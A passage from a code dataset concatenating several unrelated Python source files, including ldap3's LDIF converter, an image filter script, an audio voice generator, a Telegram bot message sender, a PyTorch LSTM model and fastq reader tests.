Giovanni Cannata\r\n#\r\n# This file is part of ldap3.\r\n#\r\n# ldap3 is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU Lesser General Public License as published\r\n# by the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# ldap3 is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU Lesser General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU Lesser General Public License\r\n# along with ldap3 in the COPYING and COPYING.LESSER files.\r\n# If not, see .\r\n\r\nfrom base64 import b64encode\r\nfrom datetime import datetime\r\n\r\nfrom .. import STRING_TYPES\r\nfrom ..core.exceptions import LDAPLDIFError, LDAPExtensionError\r\nfrom ..protocol.persistentSearch import EntryChangeNotificationControl\r\nfrom ..utils.asn1 import decoder\r\n\r\n# LDIF converter RFC 2849 compliant\r\n\r\nLDIF_LINE_LENGTH = 78\r\n\r\n\r\ndef safe_ldif_string(bytes_value):\r\n if not bytes_value:\r\n return True\r\n\r\n # check SAFE-INIT-CHAR: < 127, not NUL, LF, CR, SPACE, COLON, LESS-THAN\r\n if bytes_value[0] > 127 or bytes_value[0] in [0, 10, 13, 32, 58, 60]:\r\n return False\r\n\r\n # check SAFE-CHAR: < 127 not NUL, LF, CR\r\n if 0 in bytes_value or 10 in bytes_value or 13 in bytes_value:\r\n return False\r\n\r\n # check last char for SPACE\r\n if bytes_value[-1] == 32:\r\n return False\r\n\r\n for byte in bytes_value:\r\n if byte > 127:\r\n return False\r\n\r\n return True\r\n\r\n\r\ndef _convert_to_ldif(descriptor, value, base64):\r\n if not value:\r\n value = ''\r\n if isinstance(value, STRING_TYPES):\r\n value = bytearray(value, encoding='utf-8')\r\n\r\n if base64 or not safe_ldif_string(value):\r\n try:\r\n encoded = b64encode(value)\r\n except TypeError:\r\n encoded = b64encode(str(value)) # patch for Python 2.6\r\n if not isinstance(encoded, str): # in Python 3 b64encode returns bytes in Python 2 returns str\r\n encoded = str(encoded, encoding='ascii') # Python 3\r\n line = descriptor + ':: ' + encoded\r\n else:\r\n if str is not bytes: # Python 3\r\n value = str(value, encoding='ascii')\r\n else: # Python 2\r\n value = str(value)\r\n line = descriptor + ': ' + value\r\n\r\n return line\r\n\r\n\r\ndef add_controls(controls, all_base64):\r\n lines = []\r\n if controls:\r\n for control in controls:\r\n line = 'control: ' + control[0]\r\n line += ' ' + ('true' if control[1] else 'false')\r\n if control[2]:\r\n lines.append(_convert_to_ldif(line, control[2], all_base64))\r\n\r\n return lines\r\n\r\n\r\ndef add_attributes(attributes, all_base64):\r\n lines = []\r\n oc_attr = None\r\n # objectclass first, even if this is not specified in the RFC\r\n for attr in attributes:\r\n if attr.lower() == 'objectclass':\r\n for val in attributes[attr]:\r\n lines.append(_convert_to_ldif(attr, val, all_base64))\r\n oc_attr = attr\r\n break\r\n\r\n # remaining attributes\r\n for attr in attributes:\r\n if attr != oc_attr:\r\n for val in attributes[attr]:\r\n lines.append(_convert_to_ldif(attr, val, all_base64))\r\n\r\n return lines\r\n\r\n\r\ndef sort_ldif_lines(lines, sort_order):\r\n # sort lines as per custom sort_order\r\n # sort order is a list of descriptors, lines will be sorted following the same sequence\r\n return sorted(lines, key=lambda x: ldif_sort(x, sort_order)) if sort_order else lines\r\n\r\n\r\ndef search_response_to_ldif(entries, all_base64, sort_order=None):\r\n lines = []\r\n for entry in entries:\r\n if 'dn' in entry:\r\n lines.append(_convert_to_ldif('dn', entry['dn'], all_base64))\r\n lines.extend(add_attributes(entry['raw_attributes'], all_base64))\r\n else:\r\n raise LDAPLDIFError('unable to convert to LDIF-CONTENT - missing DN')\r\n if sort_order:\r\n lines = sort_ldif_lines(lines, sort_order)\r\n lines.append('')\r\n\r\n if lines:\r\n lines.append('# total number of entries: ' + str(len(entries)))\r\n\r\n return lines\r\n\r\n\r\ndef add_request_to_ldif(entry, all_base64, sort_order=None):\r\n lines = []\r\n if 'entry' in entry:\r\n lines.append(_convert_to_ldif('dn', entry['entry'], all_base64))\r\n lines.extend(add_controls(entry['controls'], all_base64))\r\n lines.append('changetype: add')\r\n lines.extend(add_attributes(entry['attributes'], all_base64))\r\n if sort_order:\r\n lines = sort_ldif_lines(lines, sort_order)\r\n\r\n else:\r\n raise LDAPLDIFError('unable to convert to LDIF-CHANGE-ADD - missing DN ')\r\n\r\n return lines\r\n\r\n\r\ndef delete_request_to_ldif(entry, all_base64, sort_order=None):\r\n lines = []\r\n if 'entry' in entry:\r\n lines.append(_convert_to_ldif('dn', entry['entry'], all_base64))\r\n lines.append(add_controls(entry['controls'], all_base64))\r\n lines.append('changetype: delete')\r\n if sort_order:\r\n lines = sort_ldif_lines(lines, sort_order)\r\n else:\r\n raise LDAPLDIFError('unable to convert to LDIF-CHANGE-DELETE - missing DN ')\r\n\r\n return lines\r\n\r\n\r\ndef modify_request_to_ldif(entry, all_base64, sort_order=None):\r\n lines = []\r\n if 'entry' in entry:\r\n lines.append(_convert_to_ldif('dn', entry['entry'], all_base64))\r\n lines.extend(add_controls(entry['controls'], all_base64))\r\n lines.append('changetype: modify')\r\n if 'changes' in entry:\r\n for change in entry['changes']:\r\n lines.append(['add', 'delete', 'replace', 'increment'][change['operation']] + ': ' + change['attribute']['type'])\r\n for value in change['attribute']['value']:\r\n lines.append(_convert_to_ldif(change['attribute']['type'], value, all_base64))\r\n lines.append('-')\r\n if sort_order:\r\n lines = sort_ldif_lines(lines, sort_order)\r\n return lines\r\n\r\n\r\ndef modify_dn_request_to_ldif(entry, all_base64, sort_order=None):\r\n lines = []\r\n if 'entry' in entry:\r\n lines.append(_convert_to_ldif('dn', entry['entry'], all_base64))\r\n lines.extend(add_controls(entry['controls'], all_base64))\r\n lines.append('changetype: modrdn') if 'newSuperior' in entry and entry['newSuperior'] else lines.append('changetype: moddn')\r\n lines.append(_convert_to_ldif('newrdn', entry['newRdn'], all_base64))\r\n lines.append('deleteoldrdn: ' + ('1' if entry['deleteOldRdn'] else '0'))\r\n if 'newSuperior' in entry and entry['newSuperior']:\r\n lines.append(_convert_to_ldif('newsuperior', entry['newSuperior'], all_base64))\r\n if sort_order:\r\n lines = sort_ldif_lines(lines, sort_order)\r\n else:\r\n raise LDAPLDIFError('unable to convert to LDIF-CHANGE-MODDN - missing DN ')\r\n\r\n return lines\r\n\r\n\r\ndef operation_to_ldif(operation_type, entries, all_base64=False, sort_order=None):\r\n if operation_type == 'searchResponse':\r\n lines = search_response_to_ldif(entries, all_base64, sort_order)\r\n elif operation_type == 'addRequest':\r\n lines = add_request_to_ldif(entries, all_base64, sort_order)\r\n elif operation_type == 'delRequest':\r\n lines = delete_request_to_ldif(entries, all_base64, sort_order)\r\n elif operation_type == 'modifyRequest':\r\n lines = modify_request_to_ldif(entries, all_base64, sort_order)\r\n elif operation_type == 'modDNRequest':\r\n lines = modify_dn_request_to_ldif(entries, all_base64, sort_order)\r\n else:\r\n lines = []\r\n\r\n ldif_record = []\r\n # check max line length and split as per note 2 of RFC 2849\r\n for line in lines:\r\n if line:\r\n ldif_record.append(line[0:LDIF_LINE_LENGTH])\r\n ldif_record.extend([' ' + line[i: i + LDIF_LINE_LENGTH - 1] for i in range(LDIF_LINE_LENGTH, len(line), LDIF_LINE_LENGTH - 1)] if len(line) > LDIF_LINE_LENGTH else [])\r\n else:\r\n ldif_record.append('')\r\n\r\n return ldif_record\r\n\r\n\r\ndef add_ldif_header(ldif_lines):\r\n if ldif_lines:\r\n ldif_lines.insert(0, 'version: 1')\r\n\r\n return ldif_lines\r\n\r\n\r\ndef ldif_sort(line, sort_order):\r\n for i, descriptor in enumerate(sort_order):\r\n\r\n if line and line.startswith(descriptor):\r\n return i\r\n\r\n return len(sort_order) + 1\r\n\r\n\r\ndef decode_persistent_search_control(change):\r\n if 'controls' in change and '2.16.840.1.113730.3.4.7' in change['controls']:\r\n decoded = dict()\r\n decoded_control, unprocessed = decoder.decode(change['controls']['2.16.840.1.113730.3.4.7']['value'], asn1Spec=EntryChangeNotificationControl())\r\n if unprocessed:\r\n raise LDAPExtensionError('unprocessed value in EntryChangeNotificationControl')\r\n if decoded_control['changeType'] == 1: # add\r\n decoded['changeType'] = 'add'\r\n elif decoded_control['changeType'] == 2: # delete\r\n decoded['changeType'] = 'delete'\r\n elif decoded_control['changeType'] == 4: # modify\r\n decoded['changeType'] = 'modify'\r\n elif decoded_control['changeType'] == 8: # modify_dn\r\n decoded['changeType'] = 'modify dn'\r\n else:\r\n raise LDAPExtensionError('unknown Persistent Search changeType ' + str(decoded_control['changeType']))\r\n decoded['changeNumber'] = decoded_control['changeNumber'] if 'changeNumber' in decoded_control else None\r\n decoded['previousDN'] = decoded_control['previousDN'] if 'previousDN' in decoded_control else None\r\n return decoded\r\n\r\n return None\r\n\r\n\r\ndef persistent_search_response_to_ldif(change):\r\n ldif_lines = ['# ' + datetime.now().isoformat()]\r\n control = decode_persistent_search_control(change)\r\n if control:\r\n if control['changeNumber']:\r\n ldif_lines.append('# change number: ' + str(control['changeNumber']))\r\n ldif_lines.append(control['changeType'])\r\n if control['previousDN']:\r\n ldif_lines.append('# previous dn: ' + str(control['previousDN']))\r\n ldif_lines += operation_to_ldif('searchResponse', [change])\r\n\r\n return ldif_lines[:-1] # removes \"total number of entries\"\r\n","sub_path":"server/www/packages/packages-windows/x86/ldap3/protocol/rfc2849.py","file_name":"rfc2849.py","file_ext":"py","file_size_in_byte":10477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"18333554","text":"import cv2\r\nimport numpy as np\r\nimport os\r\n\r\n'''双边滤波'''\r\n\r\npath = 'C:\\\\Users\\\\songwendong\\\\Desktop\\\\mat'\r\ndirs = os.listdir(path)\r\n\r\ndestpath = 'C:\\\\Users\\\\songwendong\\\\Desktop\\\\matbi'\r\n\r\ncount = 1\r\nfor file in dirs:\r\n name = os.path.join(path, file)\r\n img = cv2.imread(name)\r\n\r\n cv2.bilateralFilter(img, 25, 25*2, 25/2 )\r\n\r\n dst = img.copy()\r\n # cv2.fastNlMeansDenoisingColored(img, dst, 3, 3, 7, 21)\r\n # cv2.GaussianBlur(img,(7,7),0)\r\n # cv2.fastNlMeansDenoising(img, dst, 3, 7, 21)\r\n destname = os.path.join(destpath, file)\r\n # print(destname)\r\n cv2.imwrite(destname, dst)\r\n print(count)\r\n count += 1\r\n\r\n\r\n\r\n","sub_path":"PycharmProjects/paper/lkufe.py","file_name":"lkufe.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"468489695","text":"import json\nimport os\n\nimport click\nimport librosa\nimport numpy as np\nimport soundfile as sf\n\n\nfrom tomomibot.audio import detect_onsets, slice_audio, mfcc_features\nfrom tomomibot.const import (GENERATED_FOLDER, ONSET_FILE, SILENCE_POINT)\n\n\ndef generate_voice(ctx, file, name, db_threshold, block):\n \"\"\"Generate voice based on .wav file\"\"\"\n\n # Extract information about sound file\n info = sf.info(file)\n sr = info.samplerate\n blocksize = sr * block\n block_num = info.frames // blocksize\n\n # Read file in blocks to not load the whole file into memory\n block_gen = sf.blocks(file,\n blocksize=blocksize,\n always_2d=True,\n dtype='float32')\n\n # Create folder for voice\n voice_dir = os.path.join(os.getcwd(), GENERATED_FOLDER, name)\n if not os.path.isdir(voice_dir):\n os.mkdir(voice_dir)\n else:\n ctx.elog('Generated folder \"%s\" already exists.' % name)\n\n counter = 1\n block_no = 0\n data = []\n\n ctx.log('Analyze .wav file \"%s\" with %i frames and sample rate %i' % (\n click.format_filename(file, shorten=True),\n info.frames,\n sr))\n\n # Load audio file\n with click.progressbar(length=block_num,\n label='Progress') as bar:\n for bl in block_gen:\n offset = blocksize * block_no\n\n # Downmix to mono\n y = np.mean(bl, axis=1)\n\n # Detect onsets\n onsets, _ = detect_onsets(y, sr=sr, db_threshold=db_threshold)\n\n # Slice audio into parts, analyze mffcs and save them\n slices = slice_audio(y, onsets, offset=offset)\n for i in range(len(slices) - 1):\n # Normalize slice audio signal\n y_slice = librosa.util.normalize(slices[i][0])\n\n # Calculate MFCCs\n mfcc = mfcc_features(y_slice, sr)\n\n # Keep all information stored\n data.append({'id': counter,\n 'mfcc': mfcc.tolist(),\n 'start': np.uint32(slices[i][1]).item(),\n 'end': np.uint32(slices[i][2]).item()})\n\n # Save file to generated subfolder\n path = os.path.join(voice_dir, '%i.wav' % counter)\n librosa.output.write_wav(path, y_slice, sr)\n counter += 1\n\n block_no += 1\n bar.update(1)\n\n ctx.log('Created %i slices' % (counter - 1))\n\n # generate and save data file\n data_path = os.path.join(voice_dir, ONSET_FILE)\n with open(data_path, 'w') as file:\n json.dump(data, file, indent=2, separators=(',', ': '))\n ctx.log('saved .json file with analyzed data.')\n\n\ndef generate_sequence(ctx, voice_primary, voice_secondary,\n save_sequence=False):\n \"\"\"Generate a trainable sequence of two voices playing together\"\"\"\n sequence = []\n\n # Project secondary voice points into the primary voice PCA space\n points_secondary = voice_primary.project(voice_secondary.mfccs)\n counter = 0\n\n # Go through all secondary sound events\n with click.progressbar(length=len(points_secondary),\n label='Progress') as bar:\n for i, point in enumerate(points_secondary):\n start = voice_secondary.positions[i][0]\n end = voice_secondary.positions[i][1]\n\n # Find a simultaneous sound event in primary voice\n found_point = None\n for j, point_primary in reversed(\n list(enumerate(voice_primary.points))):\n start_primary = voice_primary.positions[j][0]\n end_primary = voice_primary.positions[j][1]\n if not (end <= start_primary or start >= end_primary):\n found_point = point_primary.tolist()\n counter += 1\n break\n\n # Set silence marking point when nothing was played\n if found_point is None:\n found_point = SILENCE_POINT\n\n # Add played point to other\n sequence.append([point.tolist(), found_point])\n\n bar.update(1)\n\n ctx.log('Sequence with {} events and {} targets generated.'.format(\n len(points_secondary),\n counter))\n\n # ... and save sequence file\n if save_sequence:\n sequence_path = os.path.join(os.getcwd(), 'sequence-{}-{}.json'.format(\n voice_primary.name,\n voice_secondary.name))\n with open(sequence_path, 'w') as file:\n json.dump(sequence, file, indent=2, separators=(',', ': '))\n ctx.log('Saved .json file with sequence at {}.'.format(sequence_path))\n\n return np.array(sequence)\n","sub_path":"tomomibot/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"453097922","text":"\"\"\"\nUsage:\n nnff init [--url] [<--frame-save-dir>]\n nnff (-h | --help)\n nnff (-V | --version)\n\nCommands:\n usage Show usages help. \n init Init neural network file frame.\n\nOptions:\n -h --help Show version.\n -V --version Show version and exit.\n --url Url of neutral network file framwork you want to download.\n --frame-save-dir Where you want to save.\n\"\"\"\n\nfrom docopt import docopt\nfrom git.cmd import Git\nimport os\n\ndef main():\n args = docopt(__doc__, version=\"nnff 0.2.1\")\n print(args)\n git = Git(os.getcwd())\n if args['init']:\n if args['--url'] != False:\n url = args['--url']\n else:\n url = 'https://github.com/lzfshub/nnfileframe.git'\n if args['<--frame-save-dir>'] != None:\n dst = args['<--frame-save-dir>']\n else:\n dst = './'\n cmd = f\"git clone {url} {dst}\"\n print(cmd)\n output = git.execute(cmd)\n print(output)\n\n\nif __name__ == '__main__':\n main()\n\n\n'''\n1. python setup.py sdist bdist_wheel\n2. twine upload dist/*\n'''\n","sub_path":"nnff/nnff.py","file_name":"nnff.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"518630529","text":"from cx_Freeze import setup, Executable \r\nimport sys\r\n#not for anything with program just built to freeze the code so that non-programmers can run\r\n#buildOptions = dict(include_files = [(absolute_path_to_your_file,'final_filename')]) #single file, absolute path.\r\n\r\nbuildOptions = dict(include_files=['assets','examples','color_palettes.py','Basic-Regular.ttf']) #folder,relative path. Use tuple like in the single file to set a absolute path.\r\n\r\nexecutables = [\r\n Executable('art_generator.py'),\r\n]\r\nsetup(\r\n name = \"abstract_art_generator\",\r\n version = \"1.0\",\r\n description = \"description\",\r\n author = \"raj\",\r\n options = dict(build_exe = buildOptions),\r\n executables = executables)\r\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"217327514","text":"\"\"\"\n Copyright 2017 Inmanta\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Contact: code@inmanta.com\n\"\"\"\n\nimport pytest\nfrom tornado import gen\n\n\n@pytest.mark.gen_test(timeout=10)\n@pytest.mark.slowtest\ndef test_compile_report(server):\n from inmanta import protocol\n\n client = protocol.Client(\"client\")\n result = yield client.create_project(\"env-test\")\n assert result.code == 200\n project_id = result.result[\"project\"][\"id\"]\n\n result = yield client.create_environment(project_id=project_id, name=\"dev\")\n env_id = result.result[\"environment\"][\"id\"]\n\n result = yield client.notify_change(id=env_id)\n assert result.code == 200\n\n while True:\n result = yield client.get_reports(tid=env_id)\n assert result.code == 200\n if len(result.result[\"reports\"]) > 0:\n break\n\n yield gen.sleep(0.5)\n\n report = result.result[\"reports\"][0]\n report_id = report[\"id\"]\n\n result = yield client.get_report(report_id)\n assert result.code == 200\n assert len(result.result[\"report\"][\"reports\"]) == 1\n","sub_path":"tests/test_reports.py","file_name":"test_reports.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"638918370","text":"import psycopg2\n\ntry:\n connection = psycopg2.connect(user=\"admin\", password=\"admin\",\n host=\"localhost\", port=\"5432\", database=\"Gestion_RRHH\")\n cursor = connection.cursor()\n print (\"Se ha conectado satisfactoriamente a la base de datos\",\"\\n\")\n\n # actualizar estado\n print (\"\\nEscriba el mes de inicio de la toma de razón, en minusculas\")\n meses_anio=['enero','febrero','marzo','abril','mayo','junio','julio','agosto',\n 'septiembre','octubre','noviembre','diciembre']\n\n mes_inicio=input()\n\n if mes_inicio in meses_anio:\n print (\"\\nEscriba el documento que cambiará a toma de razon, en números\")\n try:\n documento=input()\n documento=int(float(documento))\n meses_considerados=[]\n\n ind_inicio=meses_anio.index(mes_inicio) #para obtener la posición del mes en la lista de meses\n\n #agrega los meses desde el inicio hasta diciembre\n i=ind_inicio\n while i<12:\n meses_considerados.append(meses_anio[i])\n i+=1\n\n meses=tuple(meses_considerados) #transforma el listado en una tupla\n\n sql=cursor.mogrify(\"\"\"UPDATE presup_est_ultimo SET estado_documento = 'Tomado de Razón' WHERE\n estado_documento = 'Trámite' AND mes IN %s AND doc_subse=%s;\"\"\",(meses,documento))\n cursor.execute(sql)\n conteo=cursor.rowcount\n connection.commit()\n if conteo==0:\n print (\"\\nNo se han realizado modificaciones, asegurese de haber ingresado los datos correctamente\")\n else:\n print (\"\\nSe han modificado:\",conteo,\"filas\")\n except:\n print (\"Debe escribir un número entero\")\n else:\n print (\"\\nMes no corresponde\")\n\nexcept (Exception, psycopg2.Error) as error:\n print (\"\\nError while connecting to PostgreSQL\", error)\nfinally:\n #closing database connection.\n if(connection):\n cursor.close()\n connection.close()\n print(\"\\nConexión finalizada con PostgreSQL\")\n","sub_path":"actualizaciones_estado.py","file_name":"actualizaciones_estado.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"45181617","text":"#!/usr/bin/python3\nfrom time import sleep\nimport argparse\n\nclass Main():\n\n bot = None\n update_id = None\n\n bot_token = 'YOUR TELEGRAM BOT TOKEN HERE'\n\n def __init__(self):\n \"\"\"Run the bot.\"\"\"\n # Telegram Bot Authorization Token\n self.bot = telegram.Bot(self.bot_token)\n\n try:\n self.update_id = self.bot.get_updates()[0].update_id\n except IndexError:\n self.update_id = None\n\n print(self.bot)\n\n\n def get_chats_id(self):\n \"\"\"\n This method print every single message that was sent to the bot,\n Here you get the Chat ID, Username or Firstname and the message send as output\n\n This should be used when the chat id is not known, there you can run it, to get it\n \"\"\"\n for update in self.bot.get_updates():\n print('id: ' + str(update.message.chat.id) +\n ', User/First Name: ' + str(update.message.chat.first_name) +\n ', Message:' + str(update.message.text))\n\n print(\"If you are not listed, send a message to the bot\")\n\n def send_picture(self, image, chat_ids):\n \"\"\"\n This method will send a message with an image to every chat provided.\n The message text is random.\n\n :param image:\n :param chat_ids:\n :return:\n \"\"\"\n\n for chat in chat_ids:\n while True:\n try:\n self.bot.send_photo(chat_id=chat, photo=open(image, 'rb'))\n print('Picture send to ' + str(chat))\n break\n except NetworkError:\n sleep(1)\n except Unauthorized:\n # The user has removed or blocked the bot.\n self.update_id += 1\n\n def send_message(self, text, chat_ids):\n \"\"\"\n This method will send a message with an image to every chat provided.\n The message text is random.\n\n :param image:\n :param chat_ids:\n :return:\n \"\"\"\n\n for chat in chat_ids:\n while True:\n try:\n self.bot.send_message(chat_id=chat, text=text, parse_mode=telegram.ParseMode.MARKDOWN)\n print('Message send to ' + str(chat))\n break\n except NetworkError:\n sleep(1)\n except Unauthorized:\n # The user has removed or blocked the bot.\n self.update_id += 1\n\n\nif __name__ == '__main__':\n try:\n import telegram\n from telegram.error import NetworkError, Unauthorized\n except BaseException:\n print('You need to install python telegram: pip3 install python-telegram-bot')\n exit()\n\n parser = argparse.ArgumentParser(description='Send images trough telegram to a user')\n parser.add_argument('-g', '--get-chats', type=str, default=False, help='Get Chats ID from all Users')\n parser.add_argument('-i', '--image', type=str, help='Image to send')\n parser.add_argument('-m', '--message', type=str, help='Send text message')\n parser.add_argument('-c', '--chat', nargs='+', default=[],\n help='Provide Chat Id to send image or text to them, example: -c 123456 123456')\n args = parser.parse_args()\n\n tg = Main()\n if args.message and args.chat:\n tg.send_message(args.message, args.chat)\n if args.image and args.chat:\n tg.send_picture(args.image, args.chat)\n if args.get_chats:\n tg.get_chats_id()\n\n\n\n","sub_path":"mas.py","file_name":"mas.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"602597462","text":"import heapq\n\nclass KthLargest:\n\n def __init__(self, k: int, nums: List[int]):\n self.k = k\n self.arr = sorted(nums,reverse=True)[:k+1]\n heapq.heapify(self.arr)\n while len(self.arr) > k:\n heapq.heappop(self.arr)\n \n\n def add(self, val: int) -> int:\n heapq.heappush(self.arr, val)\n if len(self.arr) > self.k:\n heapq.heappop(self.arr)\n \n return self.arr[0]\n \n\n\n# Your KthLargest object will be instantiated and called as such:\n# obj = KthLargest(k, nums)\n# param_1 = obj.add(val)\n# 10 5 3 4, 5, 8, 2 = 4","sub_path":"703-kth-largest-element-in-a-stream/703-kth-largest-element-in-a-stream.py","file_name":"703-kth-largest-element-in-a-stream.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"314011346","text":"# coding: utf-8\n\nfrom pphelper import vectorize_text\nfrom panhelper import get_all_authors\nfrom keras.utils import np_utils\nfrom models import get_basic_model\nimport numpy as np\nfrom config import SEQ_LENGTH\nfrom pphelper import ALPHABET\nimport sys\n\ndef formatX(X, seq_length=SEQ_LENGTH):\n \"\"\"Normalize and reshape X; one-hot encode Y\"\"\"\n X = np.reshape(X, (len(X), seq_length, 1))\n X = X / float(len(ALPHABET))\n return X\n\ntrain_path = sys.argv[1]\nauthors = get_all_authors(train_path)\n\n\nfor i in range(len(authors)):\n authors[i].id = i\n \nXs = [vectorize_text(author.known) for author in authors]\n\n\n \nXs = [vectorize_text(author.known) for author in authors]\nys = [[authors[i].id]*len(Xs[i]) for i in range(len(authors))]\n\nXs = [formatX(x) for x in Xs]\nXs = np.vstack(Xs)\nys = [y for lst in ys for y in lst]\nys = np.vstack(ys)\nys = np_utils.to_categorical(ys)\n\nmodel = get_basic_model()\nmodel.fit(Xs, ys, nb_epoch=20, batch_size=64, validation_split=0.33)\nmodel.save_weights(\"author_id.h5\")\n\n","sub_path":"charlm/author_id.py","file_name":"author_id.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"380052761","text":"import pandas as pd\nimport numpy as np\nimport sklearn\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.nn.functional as F\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass Lstm(nn.Module):\n def __init__(self, nb_features=1, hidden_size=100, nb_layers=5, dropout=0.25,bs = 60 ,act = 'relu'):\n super(Lstm, self).__init__()\n self.nb_features=nb_features\n self.hidden_size=hidden_size\n self.nb_layers=nb_layers\n self.lstm = nn.LSTM(self.nb_features, self.hidden_size, self.nb_layers, dropout=dropout)\n #self.rel = nn.ReLU()\n #self.prel = nn.PReLU(num_parameters=1, init=0.25)\n self.leak = nn.LeakyReLU()\n self.tan = nn.Tanh()\n self.rel = nn.ReLU()\n self.sig = nn.Sigmoid()\n self.lin = nn.Linear(self.hidden_size,1)\n self.act = act\n self.init_hidden(bs)\n\n def forward_states(self, inputs):\n x = inputs\n #hx, cx = hn\n flag=True #to flag when at start of time series\n\n if self.flag:\n cx = torch.zeros(self.nb_layers, input.size()[1], self.hidden_size)\n hx = torch.zeros(self.nb_layers, input.size()[1], self.hidden_size)\n else:\n cx = Variable(cx.data)\n hx = Variable(hx.data)\n #h0 = torch.zeros(self.nb_layers, input.size()[1], self.hidden_size)\n #c0 = torch.zeros(self.nb_layers, input.size()[1], self.hidden_size)\n hx, cx = self.lstm(x, (hx, cx))\n relu_out = self.rel(hx[-1])\n out = self.lin(relu_out)\n return out, (hx, cx)\n #return out\n \n def forward_raw(self, input):\n h0 = Variable(torch.zeros(self.nb_layers, input.size()[1], self.hidden_size))\n #print(type(h0))\n c0 = Variable(torch.zeros(self.nb_layers, input.size()[1], self.hidden_size))\n #print(c0.shape)\n #print(type(c0))\n output, hn = self.lstm(input, (h0, c0))\n #output = F.relu(o)\n out = self.lin(output[-1])\n return out\n \n def forward(self, input):\n #bs = input[0].size(0)\n #if self.h[0].size(1) != bs:\n #self.init_hidden(bs)\n #output,h = self.lstm(input, self.h)\n #print(c0.shape)\n #print(type(c0))\n #output, self.h = self.lstm(input, self.h)\n #output = F.relu(output)\n #output = self.prel(output)\n #output = self.leak(output)\n #out = self.lin(output[-1])\n h0 = Variable(torch.zeros(self.nb_layers, input.size()[1], self.hidden_size).cuda())\n #print(type(h0))\n c0 = Variable(torch.zeros(self.nb_layers, input.size()[1], self.hidden_size).cuda())\n #print(type(c0))\n output, hn = self.lstm(input, (h0, c0))\n if self.act == 'relu':\n output = self.rel(output)\n elif self.act == 'sigmoid':\n \n output = self.sig(output)\n else:\n output = self.tan(output) \n \n\n #output = self.leak(output)\n #output = F.relu(self.lin(output))\n out = self.lin(output[-1])\n return out\n #return out\n \n def init_hidden(self, bs):\n self.h = (Variable(torch.zeros(self.nb_layers, bs, self.hidden_size)),\n Variable(torch.zeros(self.nb_layers, bs, self.hidden_size)))\n \n def repackage_var(h):\n return Variable(h.data) if type(h) == Variable else tuple(repackage_var(v) for v in h)\n \nclass Lstm_Model(torch.nn.Module):\n def __init__(self, hidden_size):\n super(Lstm_Model, self).__init__()\n self.lstm = nn.LSTMCell(10, hidden_size)\n self.rel = nn.ReLU()\n self.lin = nn.Linear(hidden_size,1)\n def forward(self, inputs): #and then in def forward:\n x, (hx, cx) = inputs\n #print(x.shape)\n #x = x.view(x.size(0), -1)\n out = []\n cn = []\n for i in range(len(x)):\n print(x[i].shape)\n hx, cx = self.lstm(x[i], (hx[i], cx[i]))\n out.append(hx)\n cn.append(cx)\n #hx, cx = self.lstm(x, (hx, cx))\n x = hx\n return x, (hx, cx)\n","sub_path":"lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"197218894","text":"from ccanalyser.utils import PysamFakeEntry\nimport os\nfrom multiprocessing import SimpleQueue\nfrom ccanalyser.tools.io import FastqReaderProcess, FastqWriterProcess, FastqWriterSplitterProcess\nimport itertools\nimport pysam\n\n# Pre-run setup\ndir_test = os.path.realpath(os.path.dirname(__file__))\ndir_package = os.path.dirname(dir_test)\ndir_data = os.path.join(dir_package, \"data\")\n\ndef test_fq_reader():\n\n fq1 = os.path.join(dir_data, 'test', 'Slc25A37-test_1_1.fastq.gz')\n fq2 = os.path.join(dir_data, 'test', 'Slc25A37-test_1_2.fastq.gz')\n\n outq = SimpleQueue()\n reader = FastqReaderProcess(input_files=[fq1, fq2], outq=outq)\n reader.start()\n\n reads = []\n while True:\n r = outq.get()\n if not r == \"END\":\n reads.append(r)\n else:\n break\n \n reader.join()\n\n n_reads = sum(1 for read in itertools.chain.from_iterable(reads))\n assert n_reads == 1001\n \ndef test_fq_writer():\n\n\n fq1 = os.path.join(dir_data, 'test', 'Slc25A37-test_1_1.fastq.gz')\n fq2 = os.path.join(dir_data, 'test', 'Slc25A37-test_1_2.fastq.gz')\n fq_output = os.path.join(dir_test, 'test', 'test_fq_write.fastq')\n\n writeq = SimpleQueue()\n reader = FastqReaderProcess(input_files=[fq1, fq2], outq=writeq)\n writer = 